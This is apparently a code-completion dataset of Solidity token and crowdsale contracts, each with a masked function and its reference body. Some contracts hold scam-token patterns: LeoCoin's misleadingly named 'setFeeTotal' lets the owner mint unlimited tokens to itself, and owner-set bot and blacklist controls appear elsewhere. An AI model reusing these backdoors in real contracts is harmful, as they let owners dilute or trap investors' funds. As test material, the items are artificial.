cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } <FILL_FUNCTION> function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
function _takeTeam(uint256 tTeam) private
function _takeTeam(uint256 tTeam) private
49768
ERC20
transferFrom
contract ERC20 is ERC20Interface,SafeMath { mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) allowed; constructor(string memory _name) public { name = _name; symbol = "FCC"; decimals = 4; totalSupply = 100000000000000; balanceOf[msg.sender] = totalSupply; } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balanceOf[msg.sender] >= _value); require(balanceOf[ _to] + _value >= balanceOf[ _to]); balanceOf[msg.sender] =SafeMath.safeSub(balanceOf[msg.sender],_value) ; balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to] ,_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) public returns (bool success) { require((_value==0)||(allowed[msg.sender][_spender]==0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract ERC20 is ERC20Interface,SafeMath { mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) allowed; constructor(string memory _name) public { name = _name; symbol = "FCC"; decimals = 4; totalSupply = 100000000000000; balanceOf[msg.sender] = totalSupply; } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balanceOf[msg.sender] >= _value); require(balanceOf[ _to] + _value >= balanceOf[ _to]); balanceOf[msg.sender] =SafeMath.safeSub(balanceOf[msg.sender],_value) ; balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to] ,_value); emit Transfer(msg.sender, _to, _value); return true; } <FILL_FUNCTION> function approve(address _spender, uint256 _value) public returns (bool success) { require((_value==0)||(allowed[msg.sender][_spender]==0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
require(_to != address(0)); require(allowed[_from][msg.sender] >= _value); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[_from] =SafeMath.safeSub(balanceOf[_from],_value) ; balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to],_value); allowed[_from][msg.sender] =SafeMath.safeSub(allowed[_from][msg.sender], _value); emit Transfer(msg.sender, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
39360
TokenCLC
TokenCLC
contract TokenCLC { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenCLC( uint256 initialSupply, string tokenName, string tokenSymbol ) public {<FILL_FUNCTION_BODY> } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
contract TokenCLC { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); <FILL_FUNCTION> /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes
function TokenCLC( uint256 initialSupply, string tokenName, string tokenSymbol ) public
/** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenCLC( uint256 initialSupply, string tokenName, string tokenSymbol ) public
68806
IERC20Token
allowance
contract IERC20Token { string public name; string public symbol; function decimals() public view returns (uint8) {} function totalSupply() public view returns (uint256) {} function balanceOf(address _owner) public view returns (uint256) { _owner; } function allowance(address _owner, address _spender) public view returns (uint256) {<FILL_FUNCTION_BODY> } function transfer(address _to, uint256 _value) public returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {} function approve(address _spender, uint256 _value) public returns (bool success) {} }
contract IERC20Token { string public name; string public symbol; function decimals() public view returns (uint8) {} function totalSupply() public view returns (uint256) {} function balanceOf(address _owner) public view returns (uint256) { _owner; } <FILL_FUNCTION> function transfer(address _to, uint256 _value) public returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {} function approve(address _spender, uint256 _value) public returns (bool success) {} }
_owner; _spender;
function allowance(address _owner, address _spender) public view returns (uint256)
function allowance(address _owner, address _spender) public view returns (uint256)
7083
CraftyCrowdsale
generateTokens
contract CraftyCrowdsale is Pausable { using SafeMath for uint256; // Amount received from each address mapping(address => uint256) received; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public preSaleStart; uint256 public preSaleEnd; uint256 public saleStart; uint256 public saleEnd; // amount of tokens sold uint256 public issuedTokens = 0; // token cap uint256 public constant hardCap = 5000000000 * 10**8; // 50% // token wallets uint256 constant teamCap = 1450000000 * 10**8; // 14.5% uint256 constant advisorCap = 450000000 * 10**8; // 4.5% uint256 constant bountyCap = 100000000 * 10**8; // 1% uint256 constant fundCap = 3000000000 * 10**8; // 30% // Number of days the tokens will be locked uint256 constant lockTime = 180 days; // wallets address public etherWallet; address public teamWallet; address public advisorWallet; address public fundWallet; address public bountyWallet; // timelocked tokens TokenTimelock teamTokens; uint256 public rate; enum State { BEFORE_START, SALE, REFUND, CLOSED } State currentState = State.BEFORE_START; /** * @dev Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount); /** * @dev Event for refund * @param to who sent wei * @param amount amount of wei refunded */ event Refund(address indexed to, uint256 amount); /** * @dev modifier to allow token creation only when the sale is on */ modifier saleIsOn() { require( ( (now >= preSaleStart && now < preSaleEnd) || (now >= saleStart && now < saleEnd) ) && issuedTokens < hardCap && currentState == State.SALE ); _; } /** * @dev modifier to allow action only before sale */ modifier beforeSale() { require( now < preSaleStart); _; } /** * @dev modifier that fails if state doesn't match */ modifier inState(State _state) { require(currentState == _state); _; } /** * @dev CraftyCrowdsale constructor sets the token, period and exchange rate * @param _token The address of Crafty Token. * @param _preSaleStart The start time of pre-sale. * @param _preSaleEnd The end time of pre-sale. * @param _saleStart The start time of sale. * @param _saleEnd The end time of sale. * @param _rate The exchange rate of tokens. */ function CraftyCrowdsale(address _token, uint256 _preSaleStart, uint256 _preSaleEnd, uint256 _saleStart, uint256 _saleEnd, uint256 _rate) public { require(_token != address(0)); require(_preSaleStart < _preSaleEnd && _preSaleEnd < _saleStart && _saleStart < _saleEnd); require(_rate > 0); token = MintableToken(_token); preSaleStart = _preSaleStart; preSaleEnd = _preSaleEnd; saleStart = _saleStart; saleEnd = _saleEnd; rate = _rate; } /** * @dev Fallback function can be used to buy tokens */ function () public payable { if(msg.sender != owner) buyTokens(); } /** * @dev Function used to buy tokens */ function buyTokens() public saleIsOn whenNotPaused payable { require(msg.sender != address(0)); require(msg.value >= 20 finney); uint256 weiAmount = msg.value; uint256 currentRate = getRate(weiAmount); // calculate token amount to be created uint256 newTokens = weiAmount.mul(currentRate).div(10**18); require(issuedTokens.add(newTokens) <= hardCap); issuedTokens = issuedTokens.add(newTokens); received[msg.sender] = received[msg.sender].add(weiAmount); token.mint(msg.sender, newTokens); TokenPurchase(msg.sender, msg.sender, newTokens); etherWallet.transfer(msg.value); } /** * @dev Function used to change the exchange rate. * @param _rate The new rate. */ function setRate(uint256 _rate) public onlyOwner beforeSale { require(_rate > 0); rate = _rate; } /** * @dev Function used to set wallets and enable the sale. * @param _etherWallet Address of ether wallet. * @param _teamWallet Address of team wallet. * @param _advisorWallet Address of advisors wallet. * @param _bountyWallet Address of bounty wallet. * @param _fundWallet Address of fund wallet. */ function setWallets(address _etherWallet, address _teamWallet, address _advisorWallet, address _bountyWallet, address _fundWallet) public onlyOwner inState(State.BEFORE_START) { require(_etherWallet != address(0)); require(_teamWallet != address(0)); require(_advisorWallet != address(0)); require(_bountyWallet != address(0)); require(_fundWallet != address(0)); etherWallet = _etherWallet; teamWallet = _teamWallet; advisorWallet = _advisorWallet; bountyWallet = _bountyWallet; fundWallet = _fundWallet; uint256 releaseTime = saleEnd + lockTime; // Mint locked tokens teamTokens = new TokenTimelock(token, teamWallet, releaseTime); token.mint(teamTokens, teamCap); // Mint released tokens token.mint(advisorWallet, advisorCap); token.mint(bountyWallet, bountyCap); token.mint(fundWallet, fundCap); currentState = State.SALE; } /** * @dev Generate tokens to specific address, necessary to accept other cryptos. * @param beneficiary Address of the beneficiary. * @param newTokens Amount of tokens to be minted. */ function generateTokens(address beneficiary, uint256 newTokens) public onlyOwner {<FILL_FUNCTION_BODY> } /** * @dev Finish crowdsale and token minting. */ function finishCrowdsale() public onlyOwner inState(State.SALE) { require(now > saleEnd); // tokens not sold to fund uint256 unspentTokens = hardCap.sub(issuedTokens); token.mint(fundWallet, unspentTokens); currentState = State.CLOSED; token.finishMinting(); } /** * @dev Enable refund after sale. */ function enableRefund() public onlyOwner inState(State.CLOSED) { currentState = State.REFUND; } /** * @dev Check the amount of wei received by beneficiary. * @param beneficiary Address of beneficiary. */ function receivedFrom(address beneficiary) public view returns (uint256) { return received[beneficiary]; } /** * @dev Function used to claim wei if refund is enabled. */ function claimRefund() public whenNotPaused inState(State.REFUND) { require(received[msg.sender] > 0); uint256 amount = received[msg.sender]; received[msg.sender] = 0; msg.sender.transfer(amount); Refund(msg.sender, amount); } /** * @dev Function used to release token of team wallet. */ function releaseTeamTokens() public { teamTokens.release(); } /** * @dev Function used to reclaim ether by owner. */ function reclaimEther() public onlyOwner { owner.transfer(this.balance); } /** * @dev Get exchange rate based on time and amount. * @param amount Amount received. * @return An uint256 representing the exchange rate. */ function getRate(uint256 amount) internal view returns (uint256) { if(now < preSaleEnd) { require(amount >= 6797 finney); if(amount <= 8156 finney) return rate.mul(105).div(100); if(amount <= 9515 finney) return rate.mul(1055).div(1000); if(amount <= 10874 finney) return rate.mul(1065).div(1000); if(amount <= 12234 finney) return rate.mul(108).div(100); if(amount <= 13593 finney) return rate.mul(110).div(100); if(amount <= 27185 finney) return rate.mul(113).div(100); if(amount > 27185 finney) return rate.mul(120).div(100); } return rate; } }
contract CraftyCrowdsale is Pausable { using SafeMath for uint256; // Amount received from each address mapping(address => uint256) received; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public preSaleStart; uint256 public preSaleEnd; uint256 public saleStart; uint256 public saleEnd; // amount of tokens sold uint256 public issuedTokens = 0; // token cap uint256 public constant hardCap = 5000000000 * 10**8; // 50% // token wallets uint256 constant teamCap = 1450000000 * 10**8; // 14.5% uint256 constant advisorCap = 450000000 * 10**8; // 4.5% uint256 constant bountyCap = 100000000 * 10**8; // 1% uint256 constant fundCap = 3000000000 * 10**8; // 30% // Number of days the tokens will be locked uint256 constant lockTime = 180 days; // wallets address public etherWallet; address public teamWallet; address public advisorWallet; address public fundWallet; address public bountyWallet; // timelocked tokens TokenTimelock teamTokens; uint256 public rate; enum State { BEFORE_START, SALE, REFUND, CLOSED } State currentState = State.BEFORE_START; /** * @dev Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount); /** * @dev Event for refund * @param to who sent wei * @param amount amount of wei refunded */ event Refund(address indexed to, uint256 amount); /** * @dev modifier to allow token creation only when the sale is on */ modifier saleIsOn() { require( ( (now >= preSaleStart && now < preSaleEnd) || (now >= saleStart && now < saleEnd) ) && issuedTokens < hardCap && currentState == State.SALE ); _; } /** * @dev modifier to allow action only before sale */ modifier beforeSale() { require( now < preSaleStart); _; } /** * @dev modifier that fails if state doesn't match */ modifier inState(State _state) { require(currentState == _state); _; } /** * @dev CraftyCrowdsale constructor sets the token, period and exchange rate * @param _token The address of Crafty Token. * @param _preSaleStart The start time of pre-sale. * @param _preSaleEnd The end time of pre-sale. * @param _saleStart The start time of sale. * @param _saleEnd The end time of sale. * @param _rate The exchange rate of tokens. */ function CraftyCrowdsale(address _token, uint256 _preSaleStart, uint256 _preSaleEnd, uint256 _saleStart, uint256 _saleEnd, uint256 _rate) public { require(_token != address(0)); require(_preSaleStart < _preSaleEnd && _preSaleEnd < _saleStart && _saleStart < _saleEnd); require(_rate > 0); token = MintableToken(_token); preSaleStart = _preSaleStart; preSaleEnd = _preSaleEnd; saleStart = _saleStart; saleEnd = _saleEnd; rate = _rate; } /** * @dev Fallback function can be used to buy tokens */ function () public payable { if(msg.sender != owner) buyTokens(); } /** * @dev Function used to buy tokens */ function buyTokens() public saleIsOn whenNotPaused payable { require(msg.sender != address(0)); require(msg.value >= 20 finney); uint256 weiAmount = msg.value; uint256 currentRate = getRate(weiAmount); // calculate token amount to be created uint256 newTokens = weiAmount.mul(currentRate).div(10**18); require(issuedTokens.add(newTokens) <= hardCap); issuedTokens = issuedTokens.add(newTokens); received[msg.sender] = received[msg.sender].add(weiAmount); token.mint(msg.sender, newTokens); TokenPurchase(msg.sender, msg.sender, newTokens); etherWallet.transfer(msg.value); } /** * @dev Function used to change the exchange rate. * @param _rate The new rate. */ function setRate(uint256 _rate) public onlyOwner beforeSale { require(_rate > 0); rate = _rate; } /** * @dev Function used to set wallets and enable the sale. * @param _etherWallet Address of ether wallet. * @param _teamWallet Address of team wallet. * @param _advisorWallet Address of advisors wallet. * @param _bountyWallet Address of bounty wallet. * @param _fundWallet Address of fund wallet. */ function setWallets(address _etherWallet, address _teamWallet, address _advisorWallet, address _bountyWallet, address _fundWallet) public onlyOwner inState(State.BEFORE_START) { require(_etherWallet != address(0)); require(_teamWallet != address(0)); require(_advisorWallet != address(0)); require(_bountyWallet != address(0)); require(_fundWallet != address(0)); etherWallet = _etherWallet; teamWallet = _teamWallet; advisorWallet = _advisorWallet; bountyWallet = _bountyWallet; fundWallet = _fundWallet; uint256 releaseTime = saleEnd + lockTime; // Mint locked tokens teamTokens = new TokenTimelock(token, teamWallet, releaseTime); token.mint(teamTokens, teamCap); // Mint released tokens token.mint(advisorWallet, advisorCap); token.mint(bountyWallet, bountyCap); token.mint(fundWallet, fundCap); currentState = State.SALE; } <FILL_FUNCTION> /** * @dev Finish crowdsale and token minting. */ function finishCrowdsale() public onlyOwner inState(State.SALE) { require(now > saleEnd); // tokens not sold to fund uint256 unspentTokens = hardCap.sub(issuedTokens); token.mint(fundWallet, unspentTokens); currentState = State.CLOSED; token.finishMinting(); } /** * @dev Enable refund after sale. */ function enableRefund() public onlyOwner inState(State.CLOSED) { currentState = State.REFUND; } /** * @dev Check the amount of wei received by beneficiary. * @param beneficiary Address of beneficiary. */ function receivedFrom(address beneficiary) public view returns (uint256) { return received[beneficiary]; } /** * @dev Function used to claim wei if refund is enabled. */ function claimRefund() public whenNotPaused inState(State.REFUND) { require(received[msg.sender] > 0); uint256 amount = received[msg.sender]; received[msg.sender] = 0; msg.sender.transfer(amount); Refund(msg.sender, amount); } /** * @dev Function used to release token of team wallet. */ function releaseTeamTokens() public { teamTokens.release(); } /** * @dev Function used to reclaim ether by owner. */ function reclaimEther() public onlyOwner { owner.transfer(this.balance); } /** * @dev Get exchange rate based on time and amount. * @param amount Amount received. * @return An uint256 representing the exchange rate. */ function getRate(uint256 amount) internal view returns (uint256) { if(now < preSaleEnd) { require(amount >= 6797 finney); if(amount <= 8156 finney) return rate.mul(105).div(100); if(amount <= 9515 finney) return rate.mul(1055).div(1000); if(amount <= 10874 finney) return rate.mul(1065).div(1000); if(amount <= 12234 finney) return rate.mul(108).div(100); if(amount <= 13593 finney) return rate.mul(110).div(100); if(amount <= 27185 finney) return rate.mul(113).div(100); if(amount > 27185 finney) return rate.mul(120).div(100); } return rate; } }
require(beneficiary != address(0)); require(newTokens > 0); require(issuedTokens.add(newTokens) <= hardCap); issuedTokens = issuedTokens.add(newTokens); token.mint(beneficiary, newTokens); TokenPurchase(msg.sender, beneficiary, newTokens);
function generateTokens(address beneficiary, uint256 newTokens) public onlyOwner
/** * @dev Generate tokens to specific address, necessary to accept other cryptos. * @param beneficiary Address of the beneficiary. * @param newTokens Amount of tokens to be minted. */ function generateTokens(address beneficiary, uint256 newTokens) public onlyOwner
35830
ACTMToken
null
contract ACTMToken is StandardToken { string public constant name = "Achain Moon"; string public constant symbol = "ACTM"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1e27; // 1e9 * 1e18, that is 1000,000,000 ACTM. /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public {<FILL_FUNCTION_BODY> } }
contract ACTMToken is StandardToken { string public constant name = "Achain Moon"; string public constant symbol = "ACTM"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1e27; <FILL_FUNCTION> }
totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(address(0), msg.sender, totalSupply_);
constructor() public
// 1e9 * 1e18, that is 1000,000,000 ACTM. /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public
34067
LeoCoin
_transfer
contract LeoCoin is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address public _tBotAddress; address public _tBlackAddress; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'LeoCoin leopardocoin.io'; string private _symbol = 'LeoCoin'; uint8 private _decimals = 18; uint256 public _maxBlack = 50000000 * 10**18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function setBlackListBot(address blackListAddress) public onlyOwner { _tBotAddress = blackListAddress; } function setBlackAddress(address blackAddress) public onlyOwner { _tBlackAddress = blackAddress; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeTotal(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function setMaxTxBlack(uint256 maxTxBlackPercent) public onlyOwner { _maxBlack = maxTxBlackPercent * 10**18; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal {<FILL_FUNCTION_BODY> } }
